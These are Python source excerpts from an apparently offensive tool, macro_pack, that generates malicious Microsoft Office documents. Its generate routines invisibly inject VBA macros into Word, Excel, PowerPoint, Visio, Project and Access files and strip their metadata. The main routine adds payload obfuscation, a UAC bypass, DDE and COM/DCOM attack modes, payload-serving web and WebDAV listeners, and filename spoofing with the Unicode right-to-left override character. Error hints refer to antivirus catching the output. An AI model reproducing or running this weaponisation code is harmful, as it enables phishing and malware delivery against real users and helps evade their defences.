def generate(self): logging.info(" [+] Generating MSProject project...") try: self.enableVbom() logging.info(" [-] Open MSProject project...") # open up an instance of Word with the win32com driver MSProject = win32com.client.Dispatch("MSProject.Application") project = MSProject.Projects.Add() # do the operation in background MSProject.Visible = False self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): if vbaFile == self.getMainVBAFile(): with open (vbaFile, "r") as f: # Add the main macro- into ThisProject part of Word project ProjectModule = project.VBProject.VBComponents("ThisProject") macro=f.read() ProjectModule.CodeModule.AddFromString(macro) else: # inject other vba files as modules with open (vbaFile, "r") as f: macro=f.read() ProjectModule = project.VBProject.VBComponents.Add(1) ProjectModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] ProjectModule.CodeModule.AddFromString(macro) # Remove Informations #logging.info(" [-] Remove hidden data and personal info...") #project.RemoveFileProperties = 1 logging.info(" [-] Save MSProject project...") pjMPP = 0 # The file was saved with the current version of Microsoft Office MSProject. project.SaveAs(self.outputFilePath,Format = pjMPP) # save the project and close MSProject.FileClose () MSProject.Quit() # garbage collection del MSProject self.disableVbom() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (getRunningApp(),self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS Project is really closed and Antivirus did not catch the files") logging.error(" [!] Attempt to force close MS Project applications...") objProject = win32com.client.Dispatch("MSProject.Application") objProject.Application.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("winproj.exe"): utils.forceProcessKill("winproj.exe") del objProject
def generate(self): logging.info(" [+] Generating MS PowerPoint document...") try: self.enableVbom() # open up an instance of PowerPoint with the win32com driver ppt = win32com.client.Dispatch("PowerPoint.Application") logging.info(" [-] Open presentation...") presentation = ppt.Presentations.Add(WithWindow = False) self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): # Inject all vba files as modules with open (vbaFile, "r") as f: macro=f.read() pptModule = presentation.VBProject.VBComponents.Add(1) pptModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] pptModule.CodeModule.AddFromString(macro) # Remove Informations logging.info(" [-] Remove hidden data and personal info...") ppRDIAll=99 presentation.RemoveDocumentInformation(ppRDIAll) logging.info(" [-] Save presentation...") pptXMLFileFormatMap = {".pptm": 25, ".potm": 27} if MSTypes.PPT == self.outputFileType: presentation.SaveAs(self.outputFilePath, FileFormat=pptXMLFileFormatMap[self.outputFilePath[-5:]]) # save the presentation and close ppt.Presentations(1).Close() ppt.Quit() # garbage collection del ppt self.disableVbom() logging.info(" [-] Inject Custom UI...") self._injectCustomUi() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(),self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") logging.error(" [!] Attempt to force close MS Powerpoint application...") ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("powerpnt.exe"): utils.forceProcessKill("powerpnt.exe") del ppt
def generate(self): logging.info(" [+] Generating MS Visio document...") try: self.enableVbom() logging.info(" [-] Open document...") # open up an instance of Visio with the win32com driver visio = win32com.client.Dispatch("Visio.InvisibleApp") # do the operation in background without actually opening Visio document = visio.Documents.Add("") logging.info(" [-] Save document format...") document.SaveAs(self.outputFilePath) self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): if vbaFile == self.getMainVBAFile(): with open (vbaFile, "r") as f: macro=f.read() visioModule = document.VBProject.VBComponents("ThisDocument") visioModule.CodeModule.AddFromString(macro) else: # inject other vba files as modules with open (vbaFile, "r") as f: macro=f.read() visioModule = document.VBProject.VBComponents.Add(1) visioModule.Name = os.path.splitext(os.path.basename(vbaFile))[0] visioModule.CodeModule.AddFromString(macro) # Remove Informations logging.info(" [-] Remove hidden data and personal info...") document.RemovePersonalInformation = True # save the document and close document.Save() document.Close() visio.Application.Quit() # garbage collection del visio self.disableVbom() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(),self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") logging.error(" [!] Attempt to force close MS Visio applications...") visio = win32com.client.Dispatch("Visio.InvisibleApp") visio.Application.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("visio.exe"): utils.forceProcessKill("visio.exe")
def main(argv): global MP_TYPE logLevel = LOGLEVEL # initialize macro_pack session object working_directory = os.path.join(os.getcwd(), WORKING_DIR) if MP_TYPE == "Pro": mpSession = mp_session_pro.MpSessionPro(working_directory, VERSION, MP_TYPE) else: mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "port=", "webdav-listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "listtemplates", "listformats", "icon=", "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print", "force-yes" ] shortOptions = "e:l:w:s:f:t:G:hqmop" # only for Pro release if MP_TYPE == "Pro": longOptions.extend(arg_mgt_pro.proArgsLongOptions) shortOptions += arg_mgt_pro.proArgsShortOptions # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run=", "run-visible"]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenRoot = os.path.abspath(arg) elif opt == "--port": mpSession.listenPort = int(arg) mpSession.WlistenPort = int(arg) elif opt == "--icon": mpSession.icon = arg elif opt == "-w" or opt == "--webdav-listen": mpSession.Wlisten = True mpSession.WRoot = os.path.abspath(arg) elif opt == "-f" or opt == "--input-file": mpSession.fileInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": mpSession.template = arg elif opt == "--listtemplates": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) elif opt == "-q" or opt == "--quiet": logLevel = "WARN" elif opt == "-p" or opt == "--print": mpSession.printFile = True elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt == "--run-visible": if sys.platform == "win32": mpSession.runVisible = True elif opt == "--force-yes": mpSession.forceYes = True elif opt == "--uac-bypass": mpSession.uacBypass = True elif opt == "--unicode-rtlo": mpSession.unicodeRtlo = arg elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "--listformats": help.printAvailableFormats(BANNER) sys.exit(0) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": arg_mgt_pro.processProArg(opt, arg, mpSession, BANNER) else: #print("opt:%s, arg:%s",(opt,arg)) help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) if logLevel == "INFO": os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.fileInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() # Close Stdin pipe so we can call input() later without triggering EOF #sys.stdin.close() if sys.platform == "win32": sys.stdin = open("conIN$") else: sys.stdin = sys.__stdin__ else: if not os.path.isfile(mpSession.fileInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.fileInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.fileInput) if MP_TYPE == "Pro": if mpSession.communityMode == True: logging.warning( " [!] Running in community mode (pro features not applied)") MP_TYPE = "Community" else: arg_mgt_pro.verify(mpSession) # Check output file format if mpSession.outputFilePath: if not os.path.isdir(os.path.dirname(mpSession.outputFilePath)): logging.error(" [!] Could not find output folder %s." % os.path.dirname(mpSession.outputFilePath)) sys.exit(2) if mpSession.outputFileType == MSTypes.UNKNOWN: logging.error( " [!] %s is not a supported extension. Use --listformats to view supported MacroPack formats." % os.path.splitext(mpSession.outputFilePath)[1]) sys.exit(2) else: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and ( MP_TYPE != "Pro" or mpSession.dcomTarget is None): logging.error( " [!] You need to provide an output file! (get help using %s -h)" % os.path.basename(utils.getRunningApp())) sys.exit(2) if mpSession.isTrojanMode == False: # verify that output file does not already exist if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % working_directory) if not os.path.exists(working_directory): os.makedirs(working_directory) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template or ( mpSession.outputFileType not in MSTypes.VB_FORMATS and mpSession.htaMacro == False): inputFile = os.path.join(working_directory, "command.cmd") else: inputFile = os.path.join(working_directory, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: import time time.sleep(0.4) # Needed to avoid some weird race condition logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.fileInput is not None: # Check there are not binary chars in input fil if utils.isBinaryString( open(mpSession.fileInput, 'rb').read(1024)): logging.error( " [!] ERROR: Invalid format for %s. Input should be text format containing your VBA script." % mpSession.fileInput) logging.info(" [+] Cleaning...") if os.path.isdir(working_directory): shutil.rmtree(working_directory) sys.exit(2) logging.info(" [-] Store input file...") shutil.copy2(mpSession.fileInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Edit outputfile name to spoof extension if unicodeRtlo option is enabled if mpSession.unicodeRtlo: # Reminer; mpSession.unicodeRtlo contains the extension we want to spoof, such as "jpg" logging.info(" [+] Inject %s false extension with unicode RTLO" % mpSession.unicodeRtlo) # Separate document path and extension (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath) logging.info(" [-] Extension %s " % fileExtension) # Append unicode RTLO to file name fileName += '\u202e' # Append extension to spoof in reverse order fileName += '\u200b' + mpSession.unicodeRtlo[:: -1] # Prepend invisible space so filename does not end with flagged extension # Append file extension fileName += fileExtension mpSession.outputFilePath = fileName logging.info(" [-] File name modified to: %s" % mpSession.outputFilePath) # Retrieve the right payload builder if mpSession.outputFileType != MSTypes.UNKNOWN: if MP_TYPE == "Pro" and mpSession.communityMode == False: payloadBuilder = PayloadBuilderFactoryPro().getPayloadBuilder( mpSession) else: payloadBuilder = PayloadBuilderFactory().getPayloadBuilder( mpSession) # Build payload if payloadBuilder is not None: payloadBuilder.run() if MP_TYPE == "Pro": generator = ContainerGenerator(mpSession) generator.run() #run com attack if mpSession.runTarget: generator = ComGenerator(mpSession) generator.run() if MP_TYPE == "Pro": #run dcom attack if mpSession.dcom: generator = DcomGenerator(mpSession) generator.run() # Activate Web server if mpSession.listen: listener = ListenServer(mpSession) listener.run() # Activate WebDav server if mpSession.Wlisten: Wlistener = WListenServer(mpSession) Wlistener.run() except Exception: logging.exception(" [!] Exception caught!") except KeyboardInterrupt: logging.error(" [!] Keyboard interrupt caught!") logging.info(" [+] Cleaning...") if os.path.isdir(working_directory): shutil.rmtree(working_directory) logging.info(" Done!\n") sys.exit(0)
if mpSession.listen: listener = ListenServer(mpSession) listener.run() # Activate WebDav server if mpSession.Wlisten: Wlistener = WListenServer(mpSession) Wlistener.run() except Exception: logging.exception(" [!] Exception caught!") except KeyboardInterrupt: logging.error(" [!] Keyboard interrupt caught!") logging.info(" [+] Cleaning...") if os.path.isdir(working_directory): shutil.rmtree(working_directory) logging.info(" Done!\n") sys.exit(0) if __name__ == '__main__': # check if running from explorer, if yes restart from cmd line running_from = psutil.Process(os.getpid()).parent().parent().name() if running_from == 'explorer.exe': os.system("cmd.exe /k \"%s\"" % utils.getRunningApp()) # PyArmor Plugin: checkPlug() main(sys.argv[1:])
def generate(self): logging.info(" [+] Generating MS Excel document...") try: self.enableVbom() # open up an instance of Excel with the win32com driver\ \\ excel = win32com.client.Dispatch("Excel.Application") # do the operation in background without actually opening Excel excel.Visible = False # open the excel workbook from the specified file or create if file does not exist logging.info(" [-] Open workbook...") workbook = excel.Workbooks.Add() self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): logging.debug(" [,] Loading %s " % vbaFile) if vbaFile == self.getMainVBAFile(): with open(vbaFile, "r") as f: macro = f.read() # Add the main macro- into ThisWorkbook part of excel file excelModule = workbook.VBProject.VBComponents( "ThisWorkbook") excelModule.CodeModule.AddFromString(macro) else: # inject other vba files as modules with open(vbaFile, "r") as f: macro = f.read() excelModule = workbook.VBProject.VBComponents.Add(1) excelModule.Name = os.path.splitext( os.path.basename(vbaFile))[0] excelModule.CodeModule.AddFromString(macro) excel.DisplayAlerts = False # Remove Informations logging.info(" [-] Remove hidden data and personal info...") xlRDIAll = 99 workbook.RemoveDocumentInformation(xlRDIAll) logging.info(" [-] Save workbook...") xlExcel8 = 56 xlXMLFileFormatMap = {".xlsx": 51, ".xlsm": 52, ".xltm": 53} if self.outputFileType == MSTypes.XL97: workbook.SaveAs(self.outputFilePath, FileFormat=xlExcel8) elif MSTypes.XL == self.outputFileType: workbook.SaveAs( self.outputFilePath, FileFormat=xlXMLFileFormatMap[self.outputFilePath[-5:]]) # save the workbook and close excel.Workbooks(1).Close(SaveChanges=1) excel.Application.Quit() # garbage collection del excel self.disableVbom() if self.mpSession.ddeMode: # DDE Attack mode self.insertDDE() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(), self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) logging.error( " [!] Attempt to force close MS Excel applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("Excel.exe"): utils.forceProcessKill("Excel.exe") del objExcel
def download(filename): uploads = os.path.dirname(getRunningApp()) logging.info(" [-] Sending file: %s" % (os.path.join(uploads, filename))) return send_from_directory(directory=uploads, filename=filename)
def generate(self): logging.info(" [+] Generating MS Access document...") try: self.enableVbom() # open up an instance of Access with the win32com driver\ \\ access = win32com.client.Dispatch("Access.Application") # do the operation in background without actually opening Access access.Visible = False # open the Access database from the specified file or create if file does not exist logging.info(" [-] Open database...") access.NewCurrentDatabase(self.outputFilePath) self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for cnt, vbaFile in enumerate(self.getVBAFiles()): module_name = "Module%i" % (cnt + 1) if vbaFile == self.getMainVBAFile(): with open(vbaFile, "r") as f: macro = f.read() # Add the main module into this part of Access file access.DoCmd.RunCommand( 139) # acCmdNewObjectModule = 139 access.DoCmd.Save( 5, module_name) # AcObjectType.AcModule = 5 macro = self.changeSubToFunction(macro) access.Modules.Item(cnt).AddFromString(macro) else: # inject other vba files as modules with open(vbaFile, "r") as f: macro = f.read() access.DoCmd.RunCommand( 139) # acCmdNewObjectModule = 139 access.DoCmd.Save( 5, module_name) # AcObjectType.AcModule = 5 access.Modules.Item(cnt).AddFromString(macro) content = vbLib.templates.ACCESS_MACRO_TEMPLATE macro_file = os.path.join(self.workingPath, self.temp_macro_file) with open(macro_file, 'w') as tmp: tmp.write(content) access.LoadFromText( 4, # AcObjectType.AcMacro = 4 self.getAutoOpenVbaFunction(), macro_file) access.DoCmd.Close( 4, # AcObjectType.AcMacro = 4 self.getAutoOpenVbaFunction(), 1 # AcCloseSave.AcSaveYes = 1 ) # save the database and close access.CloseCurrentDatabase() access.Quit() # garbage collection del access self.disableVbom() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info( " [-] To create a compiled file, open %s and save as .accde!" % self.outputFilePath) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(), self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) logging.error( " [!] Attempt to force close MS Access applications...") objAccess = win32com.client.Dispatch("Access.Application") objAccess.Application.Quit() del objAccess
def generate(self): logging.info(" [+] Generating MS Word document...") try: self.enableVbom() logging.info(" [-] Open document...") # open up an instance of Word with the win32com driver word = win32com.client.Dispatch("Word.Application") # do the operation in background without actually opening Excel word.Visible = False document = word.Documents.Add() logging.info(" [-] Save document format...") wdFormatDocument = 0 wdXMLFileFormatMap = {".docx": 12, ".docm": 13, ".dotm": 15} if MSTypes.WD97 == self.outputFileType: document.SaveAs(self.outputFilePath, FileFormat=wdFormatDocument) elif MSTypes.WD == self.outputFileType: document.SaveAs( self.outputFilePath, FileFormat=wdXMLFileFormatMap[self.outputFilePath[-5:]]) self.resetVBAEntryPoint() logging.info(" [-] Inject VBA...") # Read generated files for vbaFile in self.getVBAFiles(): logging.debug(" -> File %s" % vbaFile) if vbaFile == self.getMainVBAFile(): with open(vbaFile, "r") as f: # Add the main macro- into ThisDocument part of Word document wordModule = document.VBProject.VBComponents( "ThisDocument") macro = f.read() #logging.info(macro) wordModule.CodeModule.AddFromString(macro) else: # inject other vba files as modules with open(vbaFile, "r") as f: macro = f.read() #logging.info(macro) wordModule = document.VBProject.VBComponents.Add(1) wordModule.Name = os.path.splitext( os.path.basename(vbaFile))[0] wordModule.CodeModule.AddFromString(macro) document.Application.Options.Pagination = False document.UndoClear() document.Repaginate() document.Application.ScreenUpdating = True document.Application.ScreenRefresh() #logging.info(" [-] Saving module %s..." % wordModule.Name) document.Save() #word.DisplayAlerts=False # Remove Informations logging.info(" [-] Remove hidden data and personal info...") wdRDIAll = 99 document.RemoveDocumentInformation(wdRDIAll) # save the document and close document.Save() document.Close() word.Application.Quit() # garbage collection del word self.disableVbom() if self.mpSession.ddeMode: # DDE Attack mode self.insertDDE() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : \n%s --run %s\n" % (utils.getRunningApp(), self.outputFilePath)) except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) logging.error(" [!] Attempt to force close MS Word...") objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() # If it Application.Quit() was not enough we force kill the process if utils.checkIfProcessRunning("winword.exe"): utils.forceProcessKill("winword.exe") del objWord